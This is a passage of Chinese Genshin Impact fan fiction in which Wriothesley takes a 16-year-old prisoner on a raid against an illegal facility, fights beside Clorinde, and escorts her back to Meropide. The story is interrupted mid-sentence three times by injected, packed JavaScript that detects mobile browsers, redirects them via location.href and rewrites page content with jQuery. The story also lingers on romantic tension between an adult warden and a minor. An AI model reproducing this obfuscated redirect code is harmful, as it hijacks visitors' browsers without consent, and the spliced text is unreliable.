——绝不是自然里应有的声音,有别于潺潺的流水、树叶的摩擦、花蕊的吐息,是一种她在梅洛彼得堡里很熟悉的,蒸汽机器工作时炉心运作的声音,还有属于精密机械——比如人形自律机关行进时冷冰冰的金属音。
这样的异响戳破了她高昂的心情,露斯安警惕地屏住呼吸,下意识地抬起手:“公爵老爷——”
“怎么?”
他也是个警惕的战士,几乎是她出声的同时,莱欧斯利已经停下来偏头看她,所以露斯安的手在半空中停住,转而按住了自己的手腕。
而他已经读懂了她脸上的表情,他也凝神听了一阵,然后摇头放弃了,只是问她:“你听到什么了吗?”
露斯安简单形容了自己听到的东西,而他只是点点头,看起来并不意外。
“唔,违章建筑,非法营业,拒绝登记,要素拉满,下半辈子基本就和阳光绝缘了。”
他眨眨眼睛,脸上的表
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15126910|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情很难说是痞气还是严肃,忽然对她强调,“好孩子不要学。”
露斯安:“?”
学……学什么?
她很快就知道了。
再往深处行进,气温竟然没有继续走低,反而升高了一点,就连湿度也高得异常,几乎形成肉眼可见的白雾,进一步削弱了视野,而那些异响也变得格外清晰。
再往前走,前方的视野骤然开朗——穿越了一整片森林,来到人迹罕至的深处,里面竟然不是什么参天的古树或者自然的遗迹,而是人工铸造的高墙,以及巡逻的机械自律机关。
高墙看起来很新。
里面透出冷白的人工灯光,还有滚滚的蒸汽,就是那些蒸汽让这个森林深处温暖得十分异常。
周围的树是莹莹的蓝,地面的青苔也散发着水色的荧光,空气里的水分凝结成了烟霭似的薄雾,在这样缥缈如幻境的景致里,它像是入侵童话里中的异物,看起来就不像什么正经地方。
莱欧斯利观察了一会所谓的“违章建筑”,哼出了一声含混的笑。
他抬手按上肩膀,关节活动出“咔”一声脆响,就像是战斗前的热身,然后他偏过脸,目光自然地落到露斯安的身上。
露斯安还在惊讶于这个“违章建筑”的规模和精巧程度。
视野里各类人形的自律机关踩出“咔哒咔哒”的危险声音。
这种氛围让她自觉地按住了身后的刀。
“您……有什么吩咐吗?”
莱欧斯利没有立刻说话,他只是垂头看着她,湿润冷彻的空气里,他的脸色看起来有些晦涩,周围的树形在他眼底留下了错落的暗影,这层暗影如遮空的云翳,让他的眼神看起来非常地“典狱长”。
那眼神,让她刚才被阳光晒得发热的大脑逐渐冷却了下来。
他像是想起了什么:“说起来,你确实说过,‘什么都可以做’。”
“……”
她确实说过这样的话。
那是她打算用自己交易的时候,能给出的唯一筹码。
在这种时候提起,她感受到了一种上位者的暗喻。
啊,是了。
在大脑的温度退却之后,她忽然想起了这件事情——莱欧斯利是个精明的老爷,至今为止的那些东西自然不可能是免费的。
允许她自由活动,带着她享受美食,亲切地同她谈天……那些不属于犯人的待遇在这一刻终于找到了解释。
而如今他要从她身上索取报酬了——露斯安认为自己理解了他的意思。
飘了一天的心脏落回原来的位置。
烟霭一样柔滑的雾气缠绕在她的四肢,让她不自然地收紧下颚。
“您要我杀谁?”
她并不意外于他有这样的需求。
不,她还是惊讶的,那是一种,“啊,他也需要她这样的人来处理这种事啊”的心情。
上位者总要有自己的刀,这很正常。
她只是——到底是什么让她之前认为,他不会驱使她做这种事的?
不如说,在他明确提及了“干活”这个词的前提下,她一路走到目的地的过程里,她为何从未思考过这里可能存在的暗示?
“嗯?”他从鼻子里哼出一个懒洋洋的音节,“你是还想加刑吗?”
“……”
露斯安有点摸不准他的心思,她不确定他是不是在暗示不会保她,但她觉得自己可以——如果他要求的话。
这是一场一开始就明确的交易,他已经展示出了足够的诚意,那她理应完成剩下的部分。
“如果您需要的话。”
最后她这样说。
刚才喝掉的枫达那点儿泡泡橘味的回甘已经过去了,尾调让嘴里范出一丝丝的酸,露斯安绷直嘴角,让兴奋了一路的心跳回归一个正常的状态,安静地等候下一步的指示。
“也好。”他摸摸下巴,不置可否地表示,“给你个任务。”
“咕咚”一声,心脏像是掉进了在冰凉的水里。
一整天都在发晕的大脑终于全然清醒了过来,露斯安屏住呼吸,等待他出口的命令。
“你在这守着别动,有人来了就叫大声点。”
露斯安:“……”
露斯安:“…………”
露斯安:“………………啊?”
20.第 20 章
露斯安知道自己可能发出了很蠢的声音,但她确实没有听懂这个指令的意思。
她茫然地看着他。
“这是什么眼神。”
莱欧斯利活动一下手腕,他身上已经隐约有了锋利的战意,“你要是不想这么干等着。”他说,一只手点了点腰间的手铐,偏头示意,“我也可以把你铐在那里。”
露斯安顺着他示意的方向看到了旁边的树干。
露斯安:“……?”
她的脑浆不知道从哪一步开始已经糊住了,她不太理解他想表达什么。
她只能茫然地摇头,一边摇头一边看他,然后,她看到他对她扯开了嘴角。
“那就在这乖乖待着。”
他看起来已经做好了战斗前的准备,这让他的笑容带上了强硬的侵略性,就连出口的话都带上了命令的味道,等到她点头,他满意地转身,途中好像又想起了什么,偏头对她又笑了笑——
“好姑娘。”
好像有什么在胸口扑棱了一下。
露斯安在茫然中揪住胸前的披风。
接下来……她很难形容自己接下来的感受,总之她看到他避开自律机关的巡逻路线,悄无声息地走到墙边的树下,利落地抓着树干跳上去,又熟练地翻进了墙里。
露斯安觉得自己被枫丹污染了,这一瞬间她想的是他这个行为可以判多久。
然后,然后……然后好像没有她什么事儿。
里面首先是静默。
很————长很长的静默,长得她有点焦虑。
某个瞬间,她感受到了空气里不自然的蠢动,就像有看不见的蜂群在蛰咬她的皮肤——这是大量元素力被人为调动而产生的异常体感。
作为一个凡人,她当然是看不到元素力的,但是她能捕捉到这种元素力带来的空气波动,而这种体感,让她的心重重地沉了下去。
那不是公爵发动元素力时的感觉。
这种群虫蛰咬皮肤的刺痛,来自雷属性的元素力,从浓度的变化来判断,对方绝对是纯熟强大的神之眼持有者,那会是公爵要处理的敌人吗?
以元素浓度的变化为限界,里面传来了一声枪响。
尖锐的警报声瞬间响彻云霄!
闪烁的红光笼罩了整片区域,烟霭沉浮的水色乐园被警报的红色侵蚀,划出了一片如死域般令人窒息的危险区。
里面打起来了。
只听声音就能感受到战况的激烈,连门口负责巡逻的机械守卫也收到吸引,改变了行进轨迹,转而冲入了庭院内部。
空气里的元素力浓厚到让人不适。
露斯安的腿不自然地抽搐了一下。
战场就在一墙之隔,而她无所事事地站在外面当个木头,她不是很适应这样的情况。
她的手按在刀柄上无法离开。
她不知道自己在紧张什么,里面的战场太过混乱,她很难一一分辨出具体情况,有枪弹炸裂的声音,有重物打击的声音,有机械链条高速运作的嗡鸣,还有冰花冻结时清脆的断裂声……
但通过高墙只能看到炸裂的烟尘,偶尔夹杂着紫色的电光冲上天际,在红光明灭的沉郁环境里,每一种现象都让她感到心脏紧缩。
终于,在某个瞬间,伴随着惊天动地的爆炸声,滚滚黑烟盖过警报的红光冲向云霄,程度之烈连她脚下的地面都出现了震颤,身边的林木沙沙作响,距离近的甚至发出了不堪承受的呻 | 吟声。
“?!!”
完全是本能的驱使,露斯安蹿到了墙上。
闪烁的红光和警报的鸣音一下子变得十分清晰,就像被突如其来的死亡所笼罩。
院子里满是战斗造成的烟尘和飞灰,地面上残留着爆炸的焦黑和尖锐的冰刺,报废的各式机械在黑烟里闪烁着“噼里啪啦”的金色电花,远远地,她在灰尘与废墟里轻易找到了那个黑色的身影,入目的景象让她险些停止了呼吸!
公爵的身体前倾,手上夸张的金属拳套击中了面前的自律机关,那一拳的力量是如此惊人,被击中的钢铁之躯自接触点泄露出蛛网状的金色能量,而后残破的零件像四散的烟花一样炸裂飞溅!
那是个发力的姿势,所以他无法迅速地调整重心,而他的身后,另一款自律机关的电锯臂已经切向他的脖子!
飞速旋转的电锯在黑烟里溅射出狰狞的金色火花。
而那并不是他需要面对的唯一危机,他的身侧,影影绰绰的人型冲出烟尘——那是另一款持剑的自律机关,总共两只,一前一后接踵而至,无情地封锁了他的退路。
那是她绝对无法赶到的距离。
暗红的图腾自她腰间生长,可她能做的只有掷出手里的武器。
银亮的刀锋以惊人的速度切开警报与烟尘,在战场上拉出一道极细的光。
但那也不是能替他解决危机的速度。
然后,露斯安看到他笑了。
就在这样间不容发的瞬间,敌人的电锯就在他的后颈,那拉长的红线在明灭的警报光里十分刺眼,甚至让人分不出溅射出的是火花还是他的血。
分明是生死一线的危机,公爵竟然咧开了嘴,那笑容似乎同时混杂着轻蔑和战意,属于战士的强硬自信远比那些武器的火花更加耀眼,即使隔着漫长的距离,自然精准地狙击她的心房。
警示灯的红光像索命符一样在头顶明灭闪烁。
电锯终于贴上他颈侧的皮肤,但并没能如期切割出飞溅的鲜血,甚至没有溅出一丝火花。
旋转的电锯切上了他坚固的拳套。
没有调整重心的余地,所以他干脆就没有调整,他甚至都没有回头,他只是顺着发力的姿势向前倾倒,同时反手用拳套捏住了电锯!
寒光流转,自他掌心迸发的元素力瞬间形成了坚固的冰层,自律机关的整只手臂都覆盖了一层白霜,电锯更是直接冻结成了厚重的冰块,而公爵的重心持续向前倾倒,肩上隆起了明显的肌肉线条,被冻结的自律机关像一款沉重的风筝被扯离地面,成为了武器和盾牌,“呛啷”一声,同袭来的长剑撞击,摩擦出一连串妖异的火花!
露斯安掷出的刀后置地贯穿了自律机关的发条。
而莱欧斯利的手掰上了人形的颈侧。
失去控制的自律机关没有反击的能力,它像一只脆弱的纸人偶,轻易地被扯断重要的颈部关节,分离的头部与肩颈间泄露出涌动炸裂的金色能量,像一场暴力满盈的烟花,公爵发力的躯体浮现出十分漂亮的肌肉线条,在层层散开的光丝里充满了让人目眩神迷的力量感。
露斯安落到地上。
但悬着的心并没有因此而落地,她警惕地转身,从腿上抽出匕首,“当”的一声击落了暗处袭来的子弹。
就在她的身后,昏沉的战场上划过一道紫色的电光。
无声无息,如同溶于夜色的影子,轻盈、迅捷、在红色的空间里切出一条笔直尖锐的线。
一个女性。
深蓝的发丝,深蓝的制服,白色的手套,一手握枪,一手持剑,整个人的身上都缠绕一层跳动的紫色电光,那是元素力极度浓缩后生成的肉眼可见的自然现象,而黑洞洞的枪口里,电光在里面汇聚成高速旋转的紫色光球,只要她扣下扳机,其中蕴涵的能量足以消融敌人的骨头。
显然,这也是个精于暗杀和夜行的优秀战士。
暗红色的纹路自腰间生长到肩膀,露斯安的眼睛在烟尘里亮起了幽幽的光。
对面的女性显然也意识到了她的威胁性,另外有电光缠绕上她的剑锋,疯狂凝聚的元素力正在空间的每个位置蠢蠢欲动,随时会从各处切断她的脖子。
就在这样体感无比漫长,但又随时会崩断的空气里,男人的声音非常适时地切入了战场——
“啊啊——等等,克洛琳德小姐,别动手。”
烟尘弥散,远处高大身姿模糊成黑色的影子,像蜷缩着的狼正叼着猎物的脖子,手下用力,机械警卫的臂膀连同冰层发出脆弱的断裂声,溅射的电光拉出一道不断炸裂的金色光丝,然后“当啷”一声掉在地上,光芒逸散,变成彻底的黯淡废铁。
那剪影抬头看过来,嘴角那一点笑还残留着不屑的底蕴,战场的烟尘如同沉积的云翳,而他蓝色的双眼闪烁着战意的冷光,这一切都让他那懒洋洋的声音似乎也显示出了比平日更强的攻击性来——
“她是我的人。”
枪膛里飞速旋转的紫色电光发出“滋滋”的声响。
然后那柄枪猛地向上偏移,呼啸的紫色电光破膛而出,在空气里拉出一道疾驰炸裂的人造闪电,擦着露斯安的身侧疾驰而过,正中后方的警报核心。
红色的警报应声而止。
女性——或者应该叫克洛林德小姐,看起来与莱欧斯利相当熟识,她没有对他的说辞表现出任何疑问或者异议,而是破坏了警报的核心,而后就这样直接冷淡地收起武器。
“你怎么进来了?”莱欧斯利一边挥手驱赶呛人的烟尘,一边随意地踹开报废的自律机关,抬脚向她走来,“有人来了吗?”
“我、我——”
露斯安的手还捏着匕首,她压低的身体依然处于随时可以进攻的状态,被调动起来的战意沿着血脉奔腾,这让她并没能很快组织好语言,而他已经靠近了她,她在他裸露的胸膛上看到了一层莹润的汗。
他的身影渐渐将她罩在里面。
他的体温带着战斗后的高热,覆盖了她周围的空气。
那就像是,他用身体和影子将她包裹在了湿热的空间里。
露斯安愣愣地看着。
“我以为你受——刚才的爆炸,可能,很危险。”
她逐渐卸除自己进攻的姿态,但她自己也不清楚自己的行为逻辑,反倒是他这么问的时候,心里徒然生出了谴责的意味,尽管这并不应该,她甚至有些埋怨他将她留在外面的行为,
“您应该……我可以做这个。”
她只擅长做这些事。
她应该做这种事。
这本来就应该是交易的一部分——
“你为什么不叫我进来?”
莱欧斯利闻言奇怪地看着她:“你的伤好了吗?”
“我的——我什么伤?”
露斯安先是愣了一下,然后才意识到他在说什么,她反手按了下后背,她没有感受到任何异常,她疑惑地看着他,
“这点小伤有什么好在意的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15132806|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“啊哈~年轻可真好啊。”
他发出一声不太正经的感叹,垂头看着她年轻的脸孔,
“感谢你的体贴,小小姐,但我四肢健在,能跑能跳,何必要你帮我工作?……呵。”
而后他低低笑出来,眼里尚未散去的战意让这个笑带上了血的味道,他的呼吸洒在她的脸上,他的瞳孔里倒映着她的脸,她能闻到他在激战后所散发的异性的荷尔蒙,她当然也能听到他懒洋洋的,但又比平日强硬的声音——
“‘公爵’想要杀谁可以自己动手,还不需要劳烦别人。”
“——?”
露斯安用力捏住手里的匕首。
好奇怪啊,她想。
警报已经停了,但她却觉得红光明灭带来的压迫感依然残留在心里,这让她的心跳一刻也不能平息。
“那我、”半晌,她听到自己茫然的声音,“那你为什么带我来这里?”
公爵看起来竟然比她还不解:“你那么急着回水下,是生性不喜欢阳光吗?”
“——”
真的好奇怪啊,露斯安想。
这里分明连阳光都没有,但她却感觉到了春日里生命涌动的欣悦。
那是这片空间的硝烟、粉尘、电光与冰霜都无法掩盖的轻盈春意,她甚至闻到了泡泡橘的清甜,在这片焦土上,这种昂扬涌动的欣悦体感是如此清晰,她没由来地想到了正在破土的新芽。
心脏像是被焚烧过的枯叶,澎湃的生命之花正在汇聚于她的心田,要从枯朽里生长出新的什么东西来。
她茫然地感受着在体内四处涌动的澎湃能量,然后她听到有女性的声音冷淡地从他身后切了进来——
“——公爵。”
“你先在这等等。”
莱欧斯利这样吩咐她,而后扭头看向那位女性,对方站在阴影里,手里拎着什么东西,正在冷淡地观察他们的对话,她显然精于潜行,那个位置能良好地遮蔽身形,她靛蓝的发丝和制服看起来就像要融化在这个森林深处。
“东西找到了吗?”莱欧斯利问。
“啊,托您的福。”
她的表情和她深蓝色的发丝一样冷淡,声音也是,说起话来言简意赅,“还差最后一点确认,如果你能抽空过来一下,那我代表沫芒宫感激不尽。”
“稍等。”
莱欧斯利活动一下脖子,然后看向露斯安,他身上还残留着昂扬的战意,那种躁动的荷尔蒙让他看起来充满了进攻性,这让他的眼神和言辞都比日常更加滚烫、尖利,出口的命令也更直白,“你在这等着别动。”
露斯安点头,他满意地笑一下,抬起手,好像想要摸一下她的头,但中途就垂了下去,转身走向那位克洛琳德小姐。
…………
…………
“所以,她就是你向那维莱特大人申请提早开庭的原因。”
“嗯?”莱欧斯利托着下巴,沉吟,“就不能是因为我本性善良,不希望看到昔日的受害者再一次卷入舆论的漩涡吗?”
“或许如此,但那是两回事。”克洛琳德不为所动,“你知道我为什么叫你过来。”
“哈啊~这个我可真不知道。”莱欧斯利无辜地摊手,“实不相瞒,直到你开口之前,我都以为我是来和你核对工作进度的。”
“一个可以自由行动的犯人,被你允许参与事务现场,然后,在我们对峙的时候,你竟然阻止了我而不是她?”
克洛琳德的言辞犀利而简洁,直白而简洁地指明这点,“你不是个公私不分的人,公爵,我认为我作为执法者,有义务提醒你这个行为背后隐藏问题。”
“你的意思是,你要我先把她送回梅洛彼得堡,然后再折腾回来和你汇合吗?”
“或者我应该换个说法,你为什么一定要在有工作的时候亲自押解一个犯人?”
“…………………………”
面对这个问题,莱欧斯利诡异地沉默了一会儿。
然后他发出了不解的声音:“我是哪里长得很像法外狂徒吗?”
他偏了下头,余光里的小姑娘紧紧捏着匕首,像要随时冲过来似的,警惕地注视着他们的谈话。
他不自觉地笑了一下,用靴子蹭了蹭地面,“她才十六岁。”
“感谢你没有回答‘十六岁已经不犯法了’,不然那维莱特大人今天就不得不因为‘梅洛彼得堡的公爵滥用职权被人举报’而重新开庭。”
“这是我第一次发现你这么幽默,克洛琳德小姐。”
“很遗憾我没有在开玩笑。”
克洛琳德抱着胳膊,脸色看起来十分严肃,
“我们也算是认识很久了,我知道我不可能从你嘴里得到这个答案,所以,接下来的所有问题,你只需要回答你自己就好。
“你为什么要带她来这里?
“你为什么要亲自押解她?
“你为什么允许她自由活动?”
最后,克洛琳德扣了扣手里的枪,耀眼的紫色元素力在她指尖炸开,像是某种危险的警示。
“她不会永远十六岁。”
克洛琳德说,“她总有一天会长到十八岁,就在你的梅洛彼得堡。”
21.第 21 章
露斯安百无聊赖地站在墙角。
匕首在她手心打转,偶尔会笔直地指向谈话的两个人,然后又克制地垂向地面,如此反复。
她也不知道自己在想什么。
尽管她告诫自己不要去探知公爵老爷的公事,但她依然忍不住偷偷打量他们两个站在一起的画面。
他们很熟。
至少公爵老爷的肢体动作是如此陈述的。
他高大的身影能将对方完全遮蔽,于是露斯安只能看到他宽阔的后背,她看到他摊手、摇头、耸肩,又或者是托着下巴沉吟,她几乎能想象出他做这些动作时的表情,还有说话时不正经的腔调,而他的姿态并不紧张,没有多余的防备,那意味着对面的人在他的思维里是可信的。
胸腔里的枯叶原因不明地烧起来,让她紧紧捏住了匕首。
又过了片刻,他们结束了谈话,莱欧斯利活动着肩膀走向她,她从他脸上解读不出他们的谈话内容,于是露斯安忍不住去看那位“克洛琳德小姐”——她脸上甚至连表情都没有,更遑论线索。
但不知怎么,在褪去了元素力的外衣之后,她总觉得对方这种沉默凛然、寂寂如夜中暗影的姿态有点眼熟。
“决斗代理人,克洛琳德小姐。”
莱欧斯利停在她面前,非常体贴地回答她肢体动作透出的疑惑,“怎么,你对她有兴趣吗?”
“不是!”
露斯安吓了一跳,就好像被他窥见了什么不能言说的心事,她迅速地收回目光,用力摇头,然后意识到一件事,“‘决斗代理人’……?”
她好像在哪听过这个词,露斯安回忆起了自己当初在法庭上听到“决斗”这个词的震撼,在一瞬间福至心灵,“这就是你们枫丹的那个,那个,就是,打赢了就不用坐牢的那个——”
“哈哈,对,用‘决斗’的手段来维护名誉,就是我、们、枫、丹司法执行系统的一环,”他被她逗笑了,在那个词上加重了语气,“而克洛琳德小姐是决斗代理人当中最优秀的一个,‘如果遇见克洛琳德,最好立刻接受判决’,这是枫丹审判中的一种基础常识。”
“……”
露斯安想起来了,她其见是过这位“克洛琳德小姐”的——她当时就在水神的旁边,像一道沉默的影子。
她忽然觉得自己当时应该接受决斗的。
哪怕对方是神之眼的持有者,她也一定会赢的。
但是,如果赢了的话——
“那要是赢了的话,”露斯安问,她甚至不知道自己想问什么,“就、那个,就是……”她努力组织了一下语言,“就不会被送到你的梅洛彼得堡了吗?”
“好问题。”莱欧斯利扬起眉毛,慢悠悠地点头,“虽然理论上是这样,但遗憾的是执行上可并没有那么友好。”
他渐渐收敛了笑容,表情里多了莫测的味道,“看到我们那位最高审判官了吗?”他盯着她的脸,语气非常平和,“就是你当庭骚扰过的那一位,不管你决斗赢了谁,他都能一巴掌把你拍在地上然后送到我的梅洛彼得堡。”
“……?”
那这和钓鱼执法的区别是什么,申请决斗是为了让被告被不同的人打两次吗?
露斯安本来应该这么问的,但是他话语里提到的另一件事让她不禁拔高了声音,下意识地反驳:“我没有!”
“什么没有?”
莱欧斯利竟然一瞬间就理解了她在反驳什么,他好像陷入了某种思考,“这在你们沙漠不算骚扰吗?”
他上下打量了她一遍,目光沉沉的看不出情绪,“那我由衷建议你不要在‘我们枫丹’这么做,不然你成年后迟早会因为这个再下来陪我。”
“那、那——”
露斯安忍不住问——虽然她不知道自己为什么要这么问,但这种冲动强烈得无法遏止,“在梅洛彼得堡也算骚扰吗?”
“…………………………”
莱欧斯利忽然沉默了。
她没办法从他的脸上解读出他的思考,但她觉得他的情绪发生了一些变化,他的目光变得更深,表情变得更淡,体现在行动上,他换了个姿势,单手叉住腰——就是挂着手铐的那边,银亮的手铐在他的动作里发出了很危险的碰撞声。
他垂下头看了她一会儿,那双眼睛在湿润的森林里显得更暗,这么近的距离,她甚至能看到他虹膜上的纹路,像深海里摇曳的海草,紧紧缠绕着她的影子。
他的喉结滚动了一下。
“你想在我的梅洛彼得堡骚扰谁?”他问。
“我没——”
露斯安哽住了。
她本来想说她没有。
那才不叫骚扰。
而且梅洛彼得堡里也没有她想拖走的人。
但是张嘴的时候,她忽然看到了他颈项上狰狞的伤疤,她下意识地顺着伤疤看下去,顺着他凸起的喉结,看到大敞的衣领,当然还有裸露的胸膛。
他的黑衬衫上有被汗水湿濡的痕迹,战斗后的肌肉轮廓也比平日更加清晰,在呼吸的时候,她感觉到了湿漉漉的热度迎面而来,这让她心田的澎湃冲动得到了滋养,向四肢和大脑源源不断地输送躁动的热流。
露斯安的身体晃了晃,然后努力垂下头。
“……我没有。”
她终于成功地说出了这句话,盯着手里的匕首,无意识地吞了下口水,小声向他确认,“我们是要回去了吗?”
“嗯……?”
莱欧斯利回答的声音拖得很长,战斗带来的锐意已经开始逐渐消退,他整个人显得比以往更加慵懒,就像已经进入了休息状态似的,懒洋洋地问她,“你是还想去哪吗?”
“……也没有。”
身体里好像有什么在□□她似的,露斯安有一次体会到了四肢无处安放的焦虑,于是用脚蹭了蹭地面的青苔。
她其实哪都不想去。
只是——他说得对,从此以后的两年,她就要和日光无缘了,而她是沙漠的女儿,对阳光有本能的渴望。
她能感觉到对方盯着她看了一会儿。
“如果你有什么要做,建议你现在就说。毕竟从这到梅洛彼得堡至少要走三个小时。”
露斯安猛地抬头:“走回去?”
“你要是想坐巡轨船也可以。”
莱欧斯利指了指他们来时的方向,他看着露斯安的表情,轻轻笑了一下,“唔,看起来你不想。”
回程的氛围远比来的时候要轻松。
或许是因为刚结束一场激烈的战斗,公爵身上因为“工作”而紧绷的气息已经散去,开始透出了怠惰的味道,他按着肩膀,高大饱满的身体散发出温吞疏懒的暖意,在幽暗微凉的森林里,好像覆着一层暖融融的绒毛,让人觉得只要靠上去就能陷进黑狼蓬松的皮毛里。
露斯安作为“犯人”的意识也不自觉地松懈了,她差点忘记自己现在是在押解的途中,伸长了脖子去看枫丹那些对她而言琳琅满目的新事物,偶尔甚至会多窜出去几步,把押送她的公爵抛在后面。
而公爵老爷实在是个随和风趣的人,他没有阻止她的上蹿下跳,不管她摸什么看什么都能得到回应,但可能是由于职业原因,他一般是这么介绍的——
“野生泡泡橘,无主的自然馈赠,吃了虽然不亏,但看起来鸟都不吃,大概是品种不行。”
“子探测单元,科学院的新发明,用以监测环境数据,这个真不行,上一个试图偷回去拆了看的到现在还在水下打零件。”
“维护机关·澄金领队型,设计成鱼是为了清除水下的垃圾、维护生态环境的,不过众所周知科学院发生了一点很大很大的意外,现在这个项目残留的唯一价值就是给枫丹的鱼师增加漂亮的新收藏……别那么看我,我不会钓鱼。”
“……哦。”
露斯安忍不住多看了两眼金灿灿的机械鱼,它精致流畅的镂空骨架和金光流淌的动力核心充满了机械的独特魅力,莱欧斯利抱着胳膊,不动声色地盯了她一会儿。
然后他长长地叹了口气。
波光粼粼的水面停止了流动,淡蓝的光芒覆盖了跃动的磷光,晶莹剔透的冰层形成了一圈冰之牢笼,露斯安惊喜地踩着冰层拎出闪亮的机械鱼,莱欧斯利站在岸边,百无聊赖抱着胳膊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15137833|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就好像这一层冻结的水面与他毫无关系。
露斯安抿嘴把维护机关揣进怀里,它像第二颗跃动的心脏,在她胸前扑腾出各种快乐的形状来。
公爵老爷真是个大好人。
这一路简直和郊游没有区别,而莱欧斯利比她更加悠闲,他在路上甚至抽空买了一瓶枫达。
但无论路程是如何放松写意,那也只是入狱前的最后狂欢。
在夕阳西下的时候,露斯安又一次站在了通往梅洛彼得堡的平台上,海风扬起了她身上的披肩,看着地面裂开熟悉的楼梯,迎面而来的肃穆空气和深沉的水汽在皮肤上激起了细小的战栗。
她忍不住又抬头看了一眼天边,夕阳只剩下一个小小的尾巴,远处的海面像一块流动的宝石,在夕阳下反射出璀璨而富有层次的艳丽光彩。
她忍不住向海水的方向跨了一步,然后又克制地收回步伐,慢吞吞地挪到地下的升降梯上。
地面隆隆地在头顶闭合。
阳光、草地、树木、动物……一切代表生命活动的气息都从身边远去,但这一次,空间里存在另一个人的呼吸,她感受到了他有力的脉搏和沉稳的心跳,这让这场已知结果的旅途笼上了奇妙的色泽。
谁都没有说话,直到升降梯的门再次打开,悠远的青碧色水光在眼前铺展,像一条柔和潋滟的清透绸缎,铺在宽敞到空旷的走廊上,将负责守卫的自律机关照射得沉静如同法律的具象。
莱欧斯利先她一步走进潋滟波动的水影,对露斯安摊手做了个“请”的姿势。
沉沉的水色里逸动着金色的光丝,公爵英俊的眉眼在水下显得格外深邃,阳光下那层倦怠柔和的外衣从他身上散去,掌权者的温和疏离覆上他的面容,散漫的笑容里,增加了了让人心悸的肃穆威严。
“欢迎回到梅洛彼得堡,7062号。”
莱欧斯利带着她重新登记了武器——就是她对他坦白过的那一堆,然后示意接待处不用起身,他在登记表上写了什么,接下来,他亲自带着她走向了舍监区。
——带着她走到了新的单人间。
“从今天起,这就是你的新房间了,你不需要支付额外的特许券。
“而我能为你做得就只有这么多了。梅洛彼得堡终究是流放之地,接下来,就要麻烦你做好一个囚犯了。”
他的眉眼还是散漫的,但身上已经自然地散发出了属于上位者的强势气息,
“明天开始,你要去领七天禁闭,会有守卫过来为你带路。因为你在梅洛彼得堡杀了人,这是你需要支付的代价——不要给守卫增加多余的麻烦,好吗?”
露斯安点点头。
他看起来不满意她的沉默:“回答呢?”
“好。”露斯安抿住嘴,“我不会给你添麻烦的。”
“好姑娘。”
他露出了满意的笑容,把手里的枫达放到她的床头,
“这是好孩子的奖励。”
他最后对她笑了一下,高大的身影走出宿舍,消失在她的视野里。
露斯安怔怔地看着他消失,失魂落魄地坐在床上发愣。
她有一种恍惚的、如在梦中的怅然,这一天的旅途仿佛是一场美好的幻觉,而现在她回到了现实,幽闭阴暗的水下提醒着她接下来应有的待遇。
她对他而言重新成为了一个编号,而不再是什么“沙漠来的小小姐”。
她就这么直挺挺地坐着待了一会儿,无意识地揪住身下的床单,指尖无意间碰到了什么冰凉的东西,寒意刺激了大脑,她打了个激灵,转头看到了那瓶冒泡的枫达。
细小的泡泡在橘色的液体里上升。
露斯安不知道自己在想什么,她出神地盯着眼前的枫达,然后,胸口处有什么东西猛地扑棱了一下。
是那条耀眼夺目的金色机械鱼。
她脑子里闪过很多画面,然后这些画面又迅速消融成白色的雾气,不知道为什么,她消失的心脏忽然间开始加速跳动,她将鱼扔在床上,猛地站起来向外冲了出去。
她把守卫的惊呼抛在身后,目标明确地冲向了典狱长的办公室。